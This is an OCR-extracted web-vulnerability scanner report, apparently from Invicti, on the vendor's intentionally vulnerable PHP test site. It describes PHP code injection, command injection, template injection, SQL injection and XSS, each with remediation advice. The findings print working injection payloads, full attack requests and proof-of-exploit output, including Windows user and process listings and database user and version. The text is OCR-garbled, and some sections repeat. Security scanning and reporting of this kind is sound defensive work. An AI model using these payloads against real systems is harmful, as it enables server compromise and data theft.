O X-Content-Type-Options (XCTO) Not Implemented

Classification

CvSSs4

User Interaction: None

Confidentiality Impact to the Vulnerable System:
Low

Integrity Impact to the Vulnerable System: None
Availability Impact to the Vulnerable System: None
Confidentiality Impact to the Subsequent System:
None

Integrity Impact to the Subsequent System: None
Availability Impact to the Subsequent System:
None

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Base Score: 5.3

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Scope: Unchanged

Confidentiality Impact: Low

Integrity Impact: None

Availability Impact: None

Base Score: 5.0

Access Vector: Network_accessible
Access Complexity: Low

Authentication: None

Confidentiality Impact: Partial

Integrity Impact: None

Availability Impact: None

Exploitability: Not_defined

Remediation Level: Not_defined

Report Confidence: Not_defined
Availability Requirement: Not_defined
Collateral Damage Potential: Not_defined
Confidentiality Requirement: Not_defined
Integrity Requirement: Not_defined
Target Distribution: Not_defined

CWE-200
Variation

1

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/
SC:N/SI:N/SA:N

Base Score: 0.0

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: Active

Confidentiality Impact to the Vulnerable System:



CVSS3

Affected items

Web Server

None

Integrity Impact to the Vulnerable System: None
Availability Impact to the Vulnerable System: None
Confidentiality Impact to the Subsequent System:
None

Integrity Impact to the Subsequent System: None
Availability Impact to the Subsequent System:
None

CVSS:3.1/AV:N/AC:L/PR:N/UIL:R/S:C/C:N/I:N/A:N
Base Score: 0.0

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: Required

Scope: Changed

Confidentiality Impact: None

Integrity Impact: None

Availability Impact: None

Variation

1



Alerts details

O Code Evaluation (PHP)

Severity Critical
Reported by module /Scripts/PerScheme/PHP_Code_Injection.script
Description

This application is vulnerable to PHP code injection, a critical security flaw that allows attackers to execute
arbitrary PHP code on the server. This vulnerability occurs when user-controlled input is passed directly to
dangerous functions like eval(), assert(), or similar dynamic code execution functions without proper
validation or sanitization. When exploited, attackers can inject malicious PHP code that will be executed
with the same privileges as the web application.

Impact

An attacker exploiting this vulnerability can execute arbitrary PHP code on the server, leading to complete
compromise of the application and potentially the underlying server. This enables attackers to:

¢ Read, modify, or delete sensitive data including databases, configuration files, and user information
Upload malicious files or web shells for persistent access

Pivot to other systems within the network

Modify application logic or deface the website

* Execute system commands if PHP permissions allow

e Exfiltrate confidential business data or customer information

Recommendation

Eliminate the use of dynamic code evaluation functions entirely. Follow these remediation steps:

1. Remove dangerous functions: Avoid using eval (), assert(), create function(), and similar
functions that execute arbitrary code. Refactor code to use safer alternatives.

2. Use safe alternatives: Replace dynamic evaluation with predefined logic, switch statements, or
lookup arrays:

// VULNERABLE CODE:
$operation = $ GET['op'];
eval('$result = ' . $operation . ';');

// SECURE ALTERNATIVE:
$allowed operations = [
'add' => function($a, $b) { return $a + $b; },
'subtract' => function($a, $b) { return $a - $b; }
g

$operation = $ GET['op'];
if (isset($allowed operations[$operation])) {
$result = $allowed operations[$operation]($a, $b);



3. Input validation: If dynamic behavior is absolutely necessary, implement strict allowlisting of
permitted values and reject any input that doesn't match expected patterns.

4. Disable dangerous functions: Add eval, assert, create function to the disable functions
directive in php.ini as a defense-in-depth measure.

References

Dynamic Evaluation Vulnerabilities in PHP applications
OWASP PHP Top 5

Affected items

/hello.php
Verified vulnerability

Details

URL encoded GET input name was set to
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

Possible execution result:
613249aa304055d63828af3bfab778f6

Request headers

GET /hello.php?name=;assert(base64 decode('cHIpbnQobWQ1KDMxMzM3KSk7')); HTTP/1.1
Cookie: PHPSESSID=28300186b7a9496a11590877b72d96ac

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive

Proof of Exploits

ver

Microsoft Windows [Version 6.1.7601]

net user

User accounts for \\IP-AC1E0031 Administrator
ApacheUser Guest MY OY The command completed successfully.

net localgroup Administrators

Alias name Administrators Comment Administrators have complete and unrestricted access to the
computer/domain Members Administrator MY
OY The command completed successfully.

tasklist

Image Name PID Session Name Session# Mem Usage =========================
======== ================ =========== ============ System Idle Process 0 0
24 K System 4 0 300 K smss.exe 284 0 1,184 K csrss.exe 360 0 4,896 K wininit.exe 412 0 4,568 K
csrss.exe 420 1 4,000 K winlogon.exe 448 1 4,484 K services.exe 508 0 8,432 K Isass.exe 516 0 12,396 K
Ism.exe 524 0 5,600 K svchost.exe 616 0 9,352 K nvvsvc.exe 684 0 7,052 K nvwmi64.exe 708 0 4,224 K
nvSCPAPISvr.exe 732 0 5,660 K svchost.exe 776 0 7,576 K LogonUl.exe 864 1 14,500 K svchost.exe 880
012,832 K svchost.exe 924 0 42,216 K svchost.exe 996 0 11,724 K svchost.exe 268 0 5,792 K



https://seclists.org/fulldisclosure/2006/May/35
https://www.owasp.org/index.php/PHP_Top_5

svchost.exe 324 0 10,644 K svchost.exe 612 0 3,516 K svchost.exe 1044 0 17,088 K svchost.exe 1172 0
12,340 K spoolsv.exe

O Command Injection

Severity Critical
Reported by module /Scripts/PerScheme/Code_Execution.script
Description

Command injection vulnerabilities allow attackers to execute arbitrary operating system commands on the
server by manipulating user-supplied input. This occurs when an application passes unsanitized user input
directly to system shell commands or scripting language interpreters. Attackers can inject malicious
commands using shell metacharacters (such as semicolons, pipes, or backticks) to break out of the
intended command context and execute their own code with the privileges of the web server process.

Impact

An attacker exploiting this vulnerability can execute arbitrary system commands with the same privileges
as the web server, potentially leading to complete server compromise. This may result in unauthorized
access to sensitive data, modification or deletion of critical files, installation of malware or backdoors,
lateral movement within the network, or use of the compromised server to attack other systems. The
confidentiality and integrity of all data accessible to the web server process are at risk.

Recommendation

Implement the following security measures to prevent command injection attacks:

1. Avoid System Commands: Whenever possible, use native language functions instead of executing
system commands. For example, use built-in file operations rather than calling shell commands.

2. Input Validation: Implement strict allowlist validation that only permits expected characters and
patterns. Reject any input containing shell metacharacters suchas: ; | & $ " \!><()[]1{}*? ~

3. Use Parameterized APIs: When system commands are necessary, use parameterized APIs that
separate commands from arguments:

// Vulnerable code:
system("ping -c 4 " . $ GET['host']);

// Secure alternative using escapeshellarg():
$host = escapeshellarg($ GET['host']);
system("ping -c 4 " . $host);

// Better: use native functions or libraries
// that don't invoke a shell

4. Principle of Least Privilege: Run the web application with minimal necessary permissions to limit the
impact of successful exploitation.

5. Security Controls: Implement additional layers such as Web Application Firewalls (WAF) and runtime
application self-protection (RASP) to detect and block command injection attempts.



References

OS command injection
OWASP PHP Top 5

Affected items

/nslookup.php
Verified vulnerability

Details

URL encoded POST input param was set to echo wfbptz$()\ piaskq\nz”~xyu||a #' &echo wfbptz$()\
piaskq\nz”~ xyu||a #|" &echo wfbptz$()\ piaskq\nz”~ xyu||a #

Possible execution result:
wfbptz$()\ piaskqg\nzxyu

Request headers

POST /nslookup.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Content-Length: 185

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive

param=echo%20wfbptz%24()%5c%20piaskq%s5cnz%5exyu%s7c%7Cca%20%23"'%20%26echo%20wfbptz%24()%5
C%20piaskq%s5cnz%5exyus%s7c%7Ca%20%23%7C"%20%26ech0%20wfbptz%24 ()%5c%20piaskq%s5cnz%s5exyus’
C%7Ca%20%23

Proof of Exploits

ver

Microsoft Windows [Version 6.1.7601]

tasklist

Image Name PID Session Name Session# Mem Usage =========================
======== ================ =========== ============ System Idle Process 0 0
24 K System 4 0 300 K smss.exe 284 0 1,184 K csrss.exe 360 0 4,920 K wininit.exe 412 0 4,568 K
csrss.exe 420 1 4,000 K winlogon.exe 448 1 4,484 K services.exe 508 0 8,420 K Isass.exe 516 0 12,344 K
Ism.exe 524 0 5,616 K svchost.exe 616 0 9,352 K nvvsvc.exe 684 0 7,052 K nvwmi64.exe 708 0 4,224 K
nvSCPAPISvr.exe 732 0 5,660 K svchost.exe 776 0 7,572 K LogonUl.exe 864 1 14,500 K svchost.exe 880
0 12,832 K svchost.exe 924 0 42,072 K svchost.exe 996 0 11,724 K svchost.exe 268 0 5,812 K
svchost.exe 324 0 10,572 K svchost.exe 612 0 3,484 K svchost.exe 1044 0 17,080 K svchost.exe 1172 0
12,372 K spoolsv.exe 1276

DNS CNAME lookup - hitbopafxolgwbeda4.bxss.me

DNS IP: 3.228.173.67 DNS TYPE: CNAME DNS QUERY: hitbopafxolgwbeda4.bxss.me

O Server-Side Template Injection

Severity Critical


https://www.invicti.com/learn/os-command-injection/
https://www.owasp.org/index.php/PHP_Top_5

Reported by module /Scripts/PerScheme/XSS.script

Description

Server-Side Template Injection (SSTI) is a vulnerability that occurs when user-supplied input is embedded
directly into server-side templates without proper sanitization. Template engines are designed to combine
static templates with dynamic data, but when attackers can inject template directives or expressions, they
can manipulate the template rendering process. This vulnerability allows attackers to inject malicious
template syntax that gets executed on the server, potentially leading to remote code execution, data
exposure, and complete server compromise.

Impact

An attacker exploiting this vulnerability can inject malicious template directives to execute arbitrary code
on the server with the privileges of the web application. This can lead to:

e Complete server compromise and unauthorized access to sensitive data

e Execution of system commands and installation of backdoors

* Access to application source code, configuration files, and environment variables
e Lateral movement within the internal network

* Data exfiltration, modification, or destruction

¢ Denial of service by crashing the application or consuming server resources

The severity is critical because template injection often provides direct access to server-side objects and
functions, making it one of the most dangerous web application vulnerabilities.

Recommendation

To remediate Server-Side Template Injection vulnerabilities, implement the following measures:

1. Never construct templates from user input
Do not concatenate or embed user-controlled data directly into template strings. Instead, pass user data as
parameters to pre-defined templates.

Vulnerable code example:

// VULNERABLE - Don't do this

template = "Hello " + user input

render(template)

Secure code example:
// SECURE - Use parameterized templates
template = "Hello {{name}}"

render(template, {name: user input})

2. Use a logic-less template engine
Choose template engines that separate logic from presentation (e.g., Mustache) and avoid engines that
allow arbitrary code execution within templates.

3. Implement strict input validation
If template selection must be dynamic, use a whitelist approach to validate template names against a

predefined set of allowed values.

4. Apply sandboxing



If dynamic template rendering is absolutely necessary, use a sandboxed environment with restricted
access to sensitive objects, functions, and system resources.

5. Apply the principle of least privilege
Run the application with minimal permissions to limit the impact of successful exploitation.

References

Server-Side Template Injection

Affected items

/artist.php
Verified vulnerability
Details

URL encoded GET input id was set to dfb{{98991*97996} } xca.
The response contained the result of the evaluated expression: dfb9700722036xca
Templating engine: Twig/Jinja2/Unknown?2

Request headers

GET /artist.php?id=dfb{{98991*97996}}xca HTTP/1.1

Referer: http://php.testinvicti.com/

Cookie: PHPSESSID=28300186b7a9496a11590877b72d96ac

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive

Proof of Exploits

ver

Microsoft Windows [Version 6.1.7601]

net user

User accounts for \\IP-AC1E0031 Administrator
ApacheUser Guest MY QY The command completed successfully.

net localgroup Administrators

Alias name Administrators Comment Administrators have complete and unrestricted access to the
computer/domain Members Administrator MY
OY The command completed successfully.

tasklist

Image Name PID Session Name Session# Mem Usage =========================
===s===== s=s=sss=s=s=ss==s=s== Ss==s=s===== ============ System Idle Process 0 0
24 K System 4 0 300 K smss.exe 284 0 1,184 K csrss.exe 360 0 4,896 K wininit.exe 412 0 4,568 K
csrss.exe 420 1 4,000 K winlogon.exe 448 1 4,484 K services.exe 508 0 8,432 K Isass.exe 516 0 12,408 K
Ism.exe 524 0 5,616 K svchost.exe 616 0 9,352 K nvvsvc.exe 684 0 7,052 K nvwmi64.exe 708 0 4,224 K
nvSCPAPISvr.exe 732 0 5,660 K svchost.exe 776 0 7,576 K LogonUl.exe 864 1 14,500 K svchost.exe 880
0 12,812 K svchost.exe 924 0 42,224 K svchost.exe 996 0 11,724 K svchost.exe 268 0 5,792 K
svchost.exe 324 0 10,656 K svchost.exe 612 0 3,500 K svchost.exe 1044 0 17,088 K svchost.exe 1172 0
12,340 K spoolsv.exe



https://portswigger.net/blog/server-side-template-injection

O SQL Injection

Severity Critical
Reported by module /Scripts/PerScheme/Sql_Injection.script
Description

SQL Injection (SQLi) is a code injection vulnerability that occurs when an application incorporates untrusted
user input directly into SQL queries without proper validation or sanitization. Attackers exploit this
weakness by inserting malicious SQL code through input fields, URL parameters, or other data entry points,
allowing them to manipulate database queries and execute unauthorized commands against the
application's database server.

Impact

SQL Injection vulnerabilities can have severe consequences for application security and data integrity.
Attackers can bypass authentication and authorization controls to gain unauthorized access to sensitive
data, extract entire database contents including user credentials and personal information, and modify or
delete critical records. In advanced scenarios, attackers may leverage database-specific features to
execute operating system commands on the underlying server, potentially leading to complete system
compromise, lateral movement within the network, or deployment of additional malware. The
confidentiality, integrity, and availability of both the application and its data are at significant risk.

Recommendation

Implement parameterized queries (also known as prepared statements) as the primary defense against
SQL Injection. Parameterized queries separate SQL code from user data by using placeholders for input
values, ensuring the database treats user input as data rather than executable code.

Example using PHP PDO:

// Secure: Using parameterized query

$stmt = $pdo->prepare('SELECT * FROM users WHERE username = :username AND password = :password');
$stmt->execute(['username' => $username, 'password' => $password]);

$user = $stmt->fetch();

// Insecure: Direct concatenation (DO NOT USE)

// $query = "SELECT * FROM users WHERE username = '" . $username . "'";
Example using Java JDBC:

// Secure: Using PreparedStatement

String query = "SELECT * FROM users WHERE username = ? AND email = ?";
PreparedStatement stmt = connection.prepareStatement(query);
stmt.setString(1l, username);

stmt.setString(2, email);

ResultSet results = stmt.executeQuery();

Additional recommendations:

e Use Object-Relational Mapping (ORM) frameworks that handle parameterization automatically

e Implement input validation with allowlists for expected data formats and types

Apply the principle of least privilege to database accounts used by the application

Employ Web Application Firewalls (WAF) as a defense-in-depth measure

¢ Conduct regular security testing including static and dynamic analysis to identify SQLi vulnerabilities



References

SQOL Injection (SQLi),

Prevent SQL injection vulnerabilities in PHP applications and fix them
SQL Injection - OWASP

Bobby Tables: A guide to preventing SQL injection

SQL Injection Cheet Sheets - Pentestmonkey

Affected items

/artist.php
Verified vulnerability
Details

URL encoded GET input id was set to -1 OR 3*2*1=6 AND 00043=00043

Tests performed:

e -1 OR 5*5=25 => TRUE

e -1 OR 5*5=26 => FALSE

e -1 OR 3*2>999 => FALSE

e -1 OR 3*2>5 => FALSE

e -1 OR 8*2-14=1 AND 00043=00043 => FALSE
e -1 OR 2*3=4 AND 00043=00043 => FALSE

e -1 OR 2*3*1=6 AND 00043=00043 => TRUE

e -1 OR 3*2*0=6 AND 00043=00043 => FALSE
e -1 OR 3*2*1=6 AND 00043=00043 => TRUE

Original value: 12345
Request headers

GET /artist.php?id=-1%200R%203*2*1=6%20AND%2000043=00043 HTTP/1.1

X-Requested-With: XMLHttpRequest

Referer: http://php.testinvicti.com/

Cookie: PHPSESSID=28300186b7a9496a11590877b72d96ac

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;0=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive

Proof of Exploits

SQL query - SELECT database()
sqlibench

SQL query - SELECT user()
root@localhost

SQL query - SELECT version()
5.0.51b-community-nt-log


https://invicti.com/learn/sql-injection-sqli/
https://invicti.com/blog/web-security/how-to-prevent-sql-injection-in-php-applications/
https://www.owasp.org/index.php/SQL_Injection
https://bobby-tables.com/
http://pentestmonkey.net/category/cheat-sheet/sql-injection

O Cross-site Scripting

Severity High
Reported by module /Scripts/PerFile/XSS_in_URI_File.script
Description

Cross-Site Scripting (XSS) is a client-side injection vulnerability that allows attackers to inject malicious
scripts into trusted web applications. This occurs when applications include untrusted data in web pages
without proper validation or encoding, causing browsers to execute attacker-controlled code in the context
of the vulnerable site. XSS vulnerabilities can affect any web application that displays user input without
adequate sanitization.

Impact

XSS vulnerabilities enable attackers to execute arbitrary JavaScript in victims' browsers, leading to severe
security consequences. Attackers can steal session cookies and authentication tokens to hijack user
accounts, including administrative accounts. They can also capture sensitive data such as passwords,
credit card information, and personal details entered on the page.

Additionally, attackers can modify page content to deface websites, redirect users to malicious sites, or
create convincing phishing attacks that appear legitimate. Since the malicious script runs with the same
privileges as the vulnerable application, attackers can perform any action the victim user can perform,
potentially leading to unauthorized transactions, data theft, or further compromise of the application and
its users.

Recommendation

Implement defense-in-depth measures to prevent XSS vulnerabilities:

1. Output Encoding: Apply context-appropriate encoding to all user-controlled data before rendering it in
HTML, JavaScript, CSS, or URL contexts. Use established encoding libraries specific to your framework.

HTML Context Example:

// Encode user input before inserting into HTML
String safe = HtmlUtils.htmlEscape(userInput);
response.getWriter().write("<div>" + safe + "</div>");

JavaScript Context Example:

// Use JSON encoding for data in JavaScript

String jsonSafe = JSONObject.quote(userInput);
out.write("<script>var data = " + jsonSafe + ";</script>");

2. Input Validation: Validate all user input against strict allowlists of expected formats, lengths, and
character sets. Reject invalid input rather than attempting to sanitize it.

3. Content Security Policy (CSP): Implement a strict CSP header to prevent inline script execution and
restrict script sources to trusted domains:
Content-Security-Policy: default-src 'self'; script-src 'self' trusted-cdn.com

4. Use Security Headers: Enable X-XSS-Protection and X-Content-Type-Options headers as additional
defense layers.



5. Framework Protection: Utilize auto-escaping template engines and framework-provided XSS
protection features (e.g., React's JSX, Angular's sanitization).

References

Cross-site Scripting_(XSS) Attack

XSS Filter Evasion Cheat Sheet

Excess XSS, a comprehensive tutorial on cross-site scripting
Cross site scripting

Affected items

Web Server
Details

URI was set to 1<ScRiPt>Asqt(9825)</ScRiPt>
The input is reflected inside a text element.

Request headers

GET /artist.php?
1d=%31%3C%53%63%52%69%50%74%3e%4 1%73%7 1%74%28%39%38%32%35%29%3 C%2 %53%63%52%69%50%74%3e
HTTP/1.1

Referer: http://php.testinvicti.com/

Cookie: PHPSESSID=28300186b7a9496a11590877b72d9%6ac

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive

/hello.php

Verified vulnerability

Details

URL encoded GET input hpp was set to Netsparker'"()&%<zzz><ScRiPt >USd5(9756)</ScRiPt>
Request headers

GET /hello.php?hpp=Netsparker'"()%26%25<zzz><ScRiPt%20>USd5(9756)
</ScRiPt>&irc=8&pp=%20DAST HTTP/1.1

Referer: http://php.testinvicti.com/

Cookie: PHPSESSID=28300186b7a9496a11590877b72d96ac

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com
Connection: Keep-alive

/artist.php

Verified vulnerability


https://invicti.com/learn/cross-site-scripting-xss/
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
https://excess-xss.com/
https://en.wikipedia.org/wiki/Cross-site_scripting

Details
URL encoded GET input id was set to 12345""()&%<zzz><ScRiPt >tMjD(9839)</ScRiPt>
Request headers

GET /artist.php?id=12345"'"()%26%25<2zz><ScRiPt%20>tMjD(9839)</ScRiPt> HTTP/1.1
Referer: http://php.testinvicti.com/

Cookie: PHPSESSID=28300186b7a9496a11590877b72d96ac

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive

/products.php

Verified vulnerability

Details

URL encoded GET input pp was set to DAST'"()&%<zzz><ScRiPt >Kz2B(9431)</ScRiPt>
Request headers

GET /products.php?pp=%20DAST'" ()%26%25<2z2z><SCcRiPt%20>Kz2B(9431)</ScRiPt> HTTP/1.1
Referer: http://php.testinvicti.com/

Cookie: PHPSESSID=28300186b7a9496a11590877b72d96ac

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive

/hello.php

Verified vulnerability

Details

URL encoded GET input pp was set to DAST'"()&%<zzz><ScRiPt >USd5(9619)</ScRiPt>
Request headers

GET /hello.php?hpp=Netsparker&irc=&pp=%20DAST"'" ()%26%25<222><ScRiPt%20>USd5(9619)
</ScRiPt> HTTP/1.1

Referer: http://php.testinvicti.com/

Cookie: PHPSESSID=28300186b7a9496a11590877b72d96ac

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive

/products.php



Verified vulnerability
Details

URL encoded GET input pro was set to url%22onmouseover=gBnW(97742)%22

The input is reflected inside a tag parameter between double quotes.
Request headers

GET /products.php?pro=url%s22onmouseover=gBnW(97742)%22 HTTP/1.1

Referer: http://php.testinvicti.com/

Cookie: PHPSESSID=28300186b7a9496a11590877b72d96ac

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive

O Cross-site Scripting

Severity High
Reported by module /Scripts/PerFile/XSS_in_URI_File.script
Description

Cross-Site Scripting (XSS) is a client-side injection vulnerability that allows attackers to inject malicious
scripts into trusted web applications. This occurs when applications include untrusted data in web pages
without proper validation or encoding, causing browsers to execute attacker-controlled code in the context
of the vulnerable site. XSS vulnerabilities can affect any web application that displays user input without
adequate sanitization.

Impact

XSS vulnerabilities enable attackers to execute arbitrary JavaScript in victims' browsers, leading to severe
security consequences. Attackers can steal session cookies and authentication tokens to hijack user
accounts, including administrative accounts. They can also capture sensitive data such as passwords,
credit card information, and personal details entered on the page.

Additionally, attackers can modify page content to deface websites, redirect users to malicious sites, or
create convincing phishing attacks that appear legitimate. Since the malicious script runs with the same
privileges as the vulnerable application, attackers can perform any action the victim user can perform,
potentially leading to unauthorized transactions, data theft, or further compromise of the application and
its users.

Recommendation

Implement defense-in-depth measures to prevent XSS vulnerabilities:

1. Output Encoding: Apply context-appropriate encoding to all user-controlled data before rendering it in
HTML, JavaScript, CSS, or URL contexts. Use established encoding libraries specific to your framework.

HTML Context Example:



// Encode user input before inserting into HTML
String safe = HtmlUtils.htmlEscape(userInput);

response.getWriter().write("<div>" + safe + "</div>");

JavaScript Context Example:
// Use JSON encoding for data in JavaScript
String jsonSafe = JSONObject.quote(userInput);

out.write("<script>var data = " + jsonSafe + ";</script>");
2. Input Validation: Validate all user input against strict allowlists of expected formats, lengths, and
character sets. Reject invalid input rather than attempting to sanitize it.

3. Content Security Policy (CSP): Implement a strict CSP header to prevent inline script execution and
restrict script sources to trusted domains:
Content-Security-Policy: default-src 'self'; script-src 'self' trusted-cdn.com

4. Use Security Headers: Enable X-XSS-Protection and X-Content-Type-Options headers as additional
defense layers.

5. Framework Protection: Utilize auto-escaping template engines and framework-provided XSS
protection features (e.g., React's JSX, Angular's sanitization).

References

Cross-site Scripting_(XSS)_Attack

XSS Filter Evasion Cheat Sheet

Excess XSS, a comprehensive tutorial on cross-site scripting,
Cross site scripting

Affected items

Web Server
Details

URI was set to 1<ScRiPt>Asqt(9825)</ScRiPt>
The input is reflected inside a text element.

Request headers

GET /artist.php?
1d=%31%3C%53%63%52%69%50%74%3€%4 1%73%7 1%74%28%39%38%32%35%29%3 C%2 T%53%63%52%69%50%74%3e
HTTP/1.1

Referer: http://php.testinvicti.com/

Cookie: PHPSESSID=28300186b7a9496a11590877b72d96ac

Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive

/hello.php

Verified vulnerability


https://invicti.com/learn/cross-site-scripting-xss/
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
https://excess-xss.com/
https://en.wikipedia.org/wiki/Cross-site_scripting

Details
URL encoded GET input hpp was set to Netsparker'"()&%<zzz><ScRiPt >USd5(9756)</ScRiPt>
Request headers

GET /hello.php?hpp=Netsparker'"()%26%25<zzz><ScRiPt%20>USd5(9756)
</ScRiPt>&irc=8&pp=%20DAST HTTP/1.1

Referer: http://php.testinvicti.com/

Cookie: PHPSESSID=28300186b7a9496a11590877b72d96ac

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive

/artist.php

Verified vulnerability

Details

URL encoded GET input id was set to 12345""()&%<zzz><ScRiPt >tMjD(9839)</ScRiPt>
Request headers

GET /artist.php?id=12345"'"()%26%25<zzz><ScRiPt%20>tMjD(9839)</ScRiPt> HTTP/1.1
Referer: http://php.testinvicti.com/

Cookie: PHPSESSID=28300186b7a9496a11590877b72d96ac

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive

/products.php

Verified vulnerability

Details

URL encoded GET input pp was set to DAST'"()&%<zzz><ScRiPt >Kz2B(9431)</ScRiPt>
Request headers

GET /products.php?pp=%20DAST'" ()%26%25<22z><SCcRiPt%20>Kz2B(9431)</ScRiPt> HTTP/1.1
Referer: http://php.testinvicti.com/

Cookie: PHPSESSID=28300186b7a9496a11590877b72d96ac

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive

/hello.php



Verified vulnerability

Details

URL encoded GET input pp was set to DAST'"()&%<zzz><ScRiPt >USd5(9619)</ScRiPt>
Request headers

GET /hello.php?hpp=Netsparker&irc=&pp=%20DAST"'" ()%26%25<zz2z><ScRiPt%20>USd5(9619)
</ScRiPt> HTTP/1.1

Referer: http://php.testinvicti.com/

Cookie: PHPSESSID=28300186b7a9496a11590877b72d96ac

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive

/products.php
Verified vulnerability
Details

URL encoded GET input pro was set to url%22onmouseover=gBnW(97742)%22

The input is reflected inside a tag parameter between double quotes.
Request headers

GET /products.php?pro=url%s22onmouseover=gBnW(97742)%22 HTTP/1.1

Referer: http://php.testinvicti.com/

Cookie: PHPSESSID=28300186b7a9496a11590877b72d96ac

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive

O Cross-site Scripting

Severity High
Reported by module /Scripts/PerFile/XSS_in_URI_File.script
Description

Cross-Site Scripting (XSS) is a client-side injection vulnerability that allows attackers to inject malicious
scripts into trusted web applications. This occurs when applications include untrusted data in web pages
without proper validation or encoding, causing browsers to execute attacker-controlled code in the context
of the vulnerable site. XSS vulnerabilities can affect any web application that displays user input without
adequate sanitization.

Impact



XSS vulnerabilities enable attackers to execute arbitrary JavaScript in victims' browsers, leading to severe
security consequences. Attackers can steal session cookies and authentication tokens to hijack user
accounts, including administrative accounts. They can also capture sensitive data such as passwords,
credit card information, and personal details entered on the page.

Additionally, attackers can modify page content to deface websites, redirect users to malicious sites, or
create convincing phishing attacks that appear legitimate. Since the malicious script runs with the same
privileges as the vulnerable application, attackers can perform any action the victim user can perform,
potentially leading to unauthorized transactions, data theft, or further compromise of the application and
its users.

Recommendation

Implement defense-in-depth measures to prevent XSS vulnerabilities:

